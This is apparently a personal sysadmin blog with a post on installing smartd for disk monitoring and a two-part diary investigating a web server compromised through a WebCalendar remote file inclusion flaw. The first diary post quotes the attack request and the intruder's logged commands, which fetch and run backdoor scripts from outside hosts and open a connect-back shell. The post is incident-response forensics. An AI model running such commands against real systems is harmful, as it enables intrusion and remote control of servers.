Dealing with hard disk failures

I am having a lot of problems with hard disk failures in the clusters I am maintaining, especially Maxtor 6Y120L0 hard drives. So I have decided to install the smartd utility that allows to monitor the S.M.A.R.T. information given by the disks.

I don't know how reliable is the SMART information and how good it is anticipating hard disk failures but I will give it a try.


This is how I set it up:

• In RedHat 9:
  smartd is included in kernel-utils in RedHat and in the smartd
  

  
  rpm -i /usr/programs/redhat/RPMS/kernel-utils-2.4-8.29.i386.rpm
  chkconfig --level 3 smartd on
  service smartd start
  

  
  


• In Debian Woody:
  

  
  apt-get install smartsuite
  /etc/init.d/smartsuite start
  

  
  


• In Debian Sarge:
  

  
  apt-get install smartmontools
  

  
  Edit /etc/default/smartmontools and uncomment the line:
  

  
  start_smartd=yes
  

  
  

In RedHat logwatch checks the logs for smartd alarms.

Diary of a hacked web server Part 2

I have been checking the server further and it seems the cracker had not gained root privileges. I am just worried about the fact that he have been able to use a remote shell during certain time as www-data user.

As I already mentioned in the previous post I run chkrootkit but it did not spot any rootkit in the computer.

In any case I will reinstall the server ASAP.

To avoid vulnerabilities like the one in WebCalendar I will also install the mod_security apache module and I will configure it with the mod_security_rules from gotroot. mod_security acts like a firewall at the web application level.

I have also learned the lesson that it is better to install web applications using the packages of your distribution so you get for free the security updates and you only have to worry about applying the distribution security patches and not to look for the patches for each web application you have installed.

Diary of a hacked web server Part 1

A few days ago I discovered that one of my old web servers had been exploited using a vulnerability in WebCalendar. [ Special thanks to Patrick who let me know ].

There are several lines like this in the apache access.log files:

200.223.157.167 - - [02/Nov/2005:22:29:25 +0100] "GET /WebCalendar-0.9.43/tools/send_reminders.php?includedir=http://www.security-protocols.com/binaryshadow-mirror/cmd.gif?&cmd=id HTTP/1.1" 200 6882 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; pt-BR; rv:1.7.8) Gecko/20050511 Firefox/1.0.4"

If you look you see a cmd=id in the command line. This means the cracker just executed the id command. Using the same trick he can execute remotely any command as the user that is running apache (www-data).

This is a log of all the commands he executed in this way:

id
ifconfig
cd /tmp;curl -O http://geocities.yahoo.com.br/victorgbi/bd.pl;perl bd.pl 9876
id
cd /tmp;ls
cd /tmp;perl bd.pl
cd /tmp;curl -O http://k4boom.biz/tools/dc;chmod 777 dc;./dc 65.41.216.232 8888
cd /tmp;ls
cd /tmp;wget http://k4boom.biz/tools/dc;chmod 777 dc;./dc 65.41.216.232 8888
cd /tmp;wget http://k4boom.biz/tools/dc.txt;perl dc.txt 65.41.216.232 8888
cd /tmp;cd /tmp;perl dc.txt 65.41.216.232 8888
cd /tmp;cd /tmp./dc 65.41.216.232 8888
cd /tmp;cd /tmp;rm -rf *
cd /tmp;cd /tmp;ls
cd /tmp;cd /tmp;./dc 65.41.216.232 8888
cd /tmp;cd /tmp;./dc 65.41.216.232 8888

Now there is a suspicious bash process listening in port 9876 of the server:

qfminerva:/home/javier# netstat -anp --tcp
...
tcp        0      0 0.0.0.0:9876            0.0.0.0:*               LISTEN     30353/bash
...

qfminerva:/home/javier# ps aux|grep 30353
www-data 30353  0.0  0.1  5892  904 ?        S    Nov02   0:00 /bin/bash

qfminerva:/home/javier# ls -l /proc/30353/
total 0
-r--r--r--  1 www-data www-data 0 2005-11-18 19:35 cmdline
lrwxrwxrwx  1 www-data www-data 0 2005-11-18 19:35 cwd -> /
-r--------  1 www-data www-data 0 2005-11-18 19:35 environ
lrwxrwxrwx  1 www-data www-data 0 2005-11-18 19:35 exe -> /usr/bin/perl
dr-x------  2 www-data www-data 0 2005-11-18 19:35 fd
-r--r--r--  1 www-data www-data 0 2005-11-18 19:35 maps
-rw-------  1 www-data www-data 0 2005-11-18 19:35 mem
-r--r--r--  1 www-data www-data 0 2005-11-18 19:35 mounts
lrwxrwxrwx  1 www-data www-data 0 2005-11-18 19:35 root -> /
-r--r--r--  1 www-data www-data 0 2005-11-18 19:35 stat
-r--r--r--  1 www-data www-data 0 2005-11-18 19:35 statm
-r--r--r--  1 www-data www-data 0 2005-11-18 19:35 status

Looking to this it seems the program really executed is /usr/bin/perl but the command line used was /bin/bash:

qfminerva:/home/javier# cat /proc/30353/cmdline
/bin/bash

And these are all the files opened by this process:

qfminerva:/home/javier# ls -l /proc/30353/fd/
total 0
lr-x------  1 www-data www-data 64 2005-11-18 19:41 0 -> /dev/null
l-wx------  1 www-data www-data 64 2005-11-18 19:41 1 -> pipe:[154054]
l-wx------  1 www-data www-data 64 2005-11-18 19:41 15 -> /var/log/apache/error.log.1 (deleted)
l-wx------  1 www-data www-data 64 2005-11-18 19:41 18 -> /var/run/mod_ssl_mutex.664 (deleted)
l-wx------  1 www-data www-data 64 2005-11-18 19:41 2 -> pipe:[154054]
l-wx------  1 www-data www-data 64 2005-11-18 19:41 20 -> /var/run/mod_ssl_mutex.664 (deleted)
lrwx------  1 www-data www-data 64 2005-11-18 19:41 3 -> socket:[154063]
lrwx------  1 www-data www-data 64 2005-11-18 19:41 4 -> socket:[154041]

Most of them already deleted.

I run chkrootkit but it did not discovered any rootkit in the machine.

More to come soon.